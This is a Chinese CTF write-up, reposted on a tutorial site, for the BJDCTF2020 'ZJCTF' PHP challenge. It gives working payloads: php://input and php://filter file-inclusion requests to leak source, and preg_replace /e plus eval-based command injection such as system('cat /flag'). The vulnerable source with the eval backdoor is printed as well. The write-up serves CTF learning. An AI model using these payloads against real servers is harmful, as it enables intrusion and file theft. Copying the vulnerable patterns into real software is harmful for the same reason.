大佬教程收集整理的这篇文章主要介绍了记[BJDCTF2020]ZJCTF,不过如此 关于php的正则匹配问题,大佬教程大佬觉得挺不错的,现在分享给大家,也给大家做个参考。
题目一上来就直接放出一段代码,那么话不多说,直接进行代码设计。
<?PHP
error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
die("Not Now!");
}
include($file); //next.PHP
}
else{
highlight_file(__FILE__);
}
?>
从这里我们不难看出
这里我们以此来解决问题
PHP://input 是个可以访问请求的原始数据的只读流。通过它可以读取没有处理过的POST数据,从而为file_get_contents()提供数据源
PHP://filter 是PHP中独有的一个协议,可以作为一个中间流来处理其他流,可以进行任意文件的读取.
常见的构造方法形如 :
PHP://filter/read=convert.base64-encode/recource=index.PHP
该语句会将index.PHP的源码内容读取并转换成base64编码,配合include()就可以显示在页面上。
总上所述我们可以构造如下payload
POST /?text=PHP://input&file=PHP://filter/read%3dconvert.base64-encode/resource%3dnext.PHP HTTP/1.1
Host: ca6d6997-743e-4428-8758-310ee98d80d5.node3.buuoj.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: UM_distinctid=175ba1a882d28-0fc3a4b8b8c4e7-4c302372-1fa400-175ba1a882e130
Upgrade-Insecure-Requests: 1
Content-Length: 14
Content-Type: application/x-www-form-urlencoded
I have a dream
成功获得源码的base64转义
>PD9waHAKJGlkID0gJF9HRVRbJ2lkJ107CiRfU0VTU0lPTlsnaWQnXSA9ICRpZDsKCmZ1bmN0aW9uIGNvbXBsZXgoJHJlLCAkc3RyKSB7CiAgICByZXR1cm4gcHJlZ19yZXBsYWNlKAogICAgICAgICcvKCcgLiAkcmUgLiAnKS9laScsCiAgICAgICAgJ3N0cnRvbG93ZXIoIlxcMSIpJywKICAgICAgICAkc3RyCiAgICApOwp9CgoKZm9yZWFjaCgkX0dFVCBhcyAkcmUgPT4gJHN0cikgewogICAgZWNobyBjb21wbGV4KCRyZSwgJHN0cikuICJcbiI7Cn0KCmZ1bmN0aW9uIGdldEZsYWcoKXsKCUBldmFsKCRfR0VUWydjbWQnXSk7Cn0K
转义后的源码为
<?PHP
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
接下来就是对grep_replace()的具体分析
preg_replace('/(' . $re . ')/ei', 'strtolower("\\1")', $str )
简单的介绍一下preg_replace
preg_replace ($pattern , $replacement , $subject )
其中 $pattern为正则表达式
$replacement为替换字符串
$subject 为要搜索替换的目标字符串或字符串数组
这个函数存在一些奇异的地方,正则表达式$pattern以/e结尾时$replacement的值会被作为PHP函数执行。
例如执行 preg_replace (‘/test/e’ , "PHPinfo();" , "test" )
“test”会被替换为PHPinfo();并执行。
再来分析一下题目中的表达式
举个例子,
preg_replace('/(\S)(\S)/i','strtolower("\\1")', "123Abc")
// \S表示匹配任何非空白字符,()表示匹配的子串
就会被替换成
strtolower("1")strtolower("3")strtolower("b")
其中大致的处理过程可以分解成这样
回到题目上来,如何让strtolower("")里面的内容当作函数被执行呢?这里有一个知识点
在PHP中,双引号里面如果包含有变量,PHP解释器会将其替换为变量解释后的结果;单引号中的变量不会被处理。也就是说我们可以构造一个变量来达到执行命令的目的。
通过{${}}可以构造特殊的变量。
echo "{${PHPinfo()}}";
echo "${PHPinfo()}";
注:在5.5及以上版本下,第二种写法也可以生效,实测5.3/5.4会报错
构造上述的变量,PHPinfo就会被执行。
感兴趣的可以参考
https://www.cnblogs.com/dhsx/p/4991983.html
知道了这个我们的大概思路就出来了
那么现在只剩下如何构造正则表达式,通常会使用
.来匹配任意字符串,但是本题目中GET参数中传入的.会被PHP的安全机制替换成_,导致正则匹配失败。我们可以通过\S来实现匹配。
注:
\S 匹配任意非空白字符(空白字符如回车、换行、分页等 )
. 匹配任意字符但不包含回车换行
* 贪婪模式,匹配任意次的最大长度
( ) 合并整体匹配,并放入内存,可使用\1 \2...依次获取
最终payload
next.PHP?\S*=${getFlag()}&cmd=system('cat /flag');
这里构造
/next.PHP?\S*={${system(chr(99).chr(97).chr(116).chr(32).chr(47).chr(102).chr(108).chr(97).chr(103))}}
也是可以的,此处用chr()表示字符是因为直接使用‘”符号就导致闭合出现问题。
成功获取flag
以上是大佬教程为你收集整理的记[BJDCTF2020]ZJCTF,不过如此 关于php的正则匹配问题全部内容,希望文章能够帮你解决记[BJDCTF2020]ZJCTF,不过如此 关于php的正则匹配问题所遇到的程序开发问题。
如果觉得大佬教程网站内容还不错,欢迎将大佬教程推荐给程序员好友。
本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
如您有任何意见或建议可联系处理。小编QQ:384754419,请注明来意。